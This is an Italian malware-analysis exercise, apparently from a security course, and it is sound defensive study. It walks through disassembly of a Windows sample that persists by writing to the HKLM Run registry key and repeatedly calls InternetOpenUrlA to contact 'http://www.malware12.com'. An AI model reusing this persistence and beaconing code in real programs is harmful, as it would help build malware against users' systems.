

WINDOWS MALWARE

TASK:

1. Descrivere come il malware ottiene la **persistenza**, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
2. Identificare il **client software** utilizzato dal malware per la connessione ad internet
3. Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la **chiamata di funzione** che permette al malware di connettersi ad un URL.
4. BONUS: qual è il significato e il funzionamento del comando assembly **"LEA"**

```
X040286F push 2 ; samDesired
X0402871 push eax ; ulOptions
X0402872 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
X0402877 push HKEY_LOCAL_MACHINE ; hKey
X040287C call esi ; RegOpenKeyExW
X040287E test eax, eax
X0402880 jnz short loc_4028C5
X0402882
X0402882 loc_402882:
X0402882 lea ecx, [esp+424h+Data]
X0402886 push ecx ; lpString
X0402887 mov bl, 1
X0402889 call ds:strlenW
X040288F lea edx, [eax+eax+2]
X0402893 push edx ; cbData
X0402894 mov edx, [esp+428h+hKey]
X0402898 lea eax, [esp+428h+Data]
X040289C push eax ; lpData
X040289D push 1 ; dwType
X040289F push 0 ; Reserved
X04028A1 lea ecx, [esp+434h+ValueName]
X04028A8 push ecx ; lpValueName
X04028A9 push edx ; hKey
X04028AA call ds:RegSetValueExW
```

```
.text:00401150 ; ===== SUBROUTINE =====
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPU0ID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC70
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:00401168 mov esi, eax
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+304j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malware12.com"
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180
.text:00401180
```

TASK 1: Descrivere come il malware ottiene la **persistenza**, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

I malware spesso sfruttano il registro di Windows per garantirsi una **presenza persistente** sul sistema. Ciò significa che il malware si aggiunge alle voci del registro che specificano quali programmi devono essere avviati all'avvio del computer, in modo da esser avviato automaticamente e in modo permanente senza richiedere alcuna azione da parte dell'utente.

Uno dei percorsi del registro frequentemente utilizzati dai malware per ottenere questa persistenza è "**Software\Microsoft\Windows\CurrentVersion\Run**". che è stato identificato nel codice oggetto d'interesse.

Per raggiungere questo obiettivo, il malware esegue due chiamate di funzione principali:

- **RegOpenKey**: i parametri della funzione sono passati allo stack tramite push, e **con questa funzione il malware accede alla chiave di registro prima di modificarne il valore**:

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\Microsoft\Windows\CurrentVersion\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
```

- **RegSetValueEx**: vengono passati allo stack alcuni valori tramite istruzione push ecx e push edx. Questa funzione è usata dal malware per **modificare il valore del registro ed aggiungere una nuova entry**, in modo tale da ottenere la persistenza all'avvio del sistema operativo.

```
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

TASK 2: Identificare il **client software** utilizzato dal malware per la connessione ad internet

Il malware cerca di stabilire una connessione a Internet utilizzando il **software client** Internet Explorer 8.0.

```
push    offset szAgent    ; "Internet Explorer 8.0"
```

TASK 3: Identificare l'URL al quale il malware tenta di connettersi ed evidenziare **la chiamata di funzione** che permette al malware di connettersi ad un URL.

Microsoft fornisce un insieme di API chiamate **Wininet APIs** per la gestione delle operazioni di networking a livello di sistema. Queste API sono incluse nella libreria **Wininet.dll**, che offre una serie di funzioni per l'implementazione di protocolli di rete come HTTP e FTP.

Nel codice oggetto d'interesse ci sono:

- **InternetOpen**: Questa funzione viene utilizzata per inizializzare una connessione a Internet. Consente di creare un oggetto handler per la connessione che verrà utilizzato nelle successive operazioni di rete.
- **InternetOpenUrl**: Questa funzione viene utilizzata per stabilire una connessione a un URL specifico. Accetta come parametri un oggetto handler per una connessione inizializzata con **InternetOpen** e l'URL a cui si desidera connettersi.

```
call    ds:InternetOpenA
mov     edi, ds:InternetOpenUrlA
```

TASK BONUS: Qual è il significato e il funzionamento del comando assembly **"lea"**?

Il comando **"lea"** (Load Effective Address) viene utilizzato per caricare un indirizzo di memoria specifico nella destinazione specificata, in modo che possa essere utilizzato per accedere ai dati o eseguire altre operazioni in quella posizione di memoria.

Sintassi del comando **lea**:

lea destinazione, sorgente

Esempio nel nostro caso:

lea eax, [esp+428h+Data]

```
lea     eax, [esp+428h+Data]
```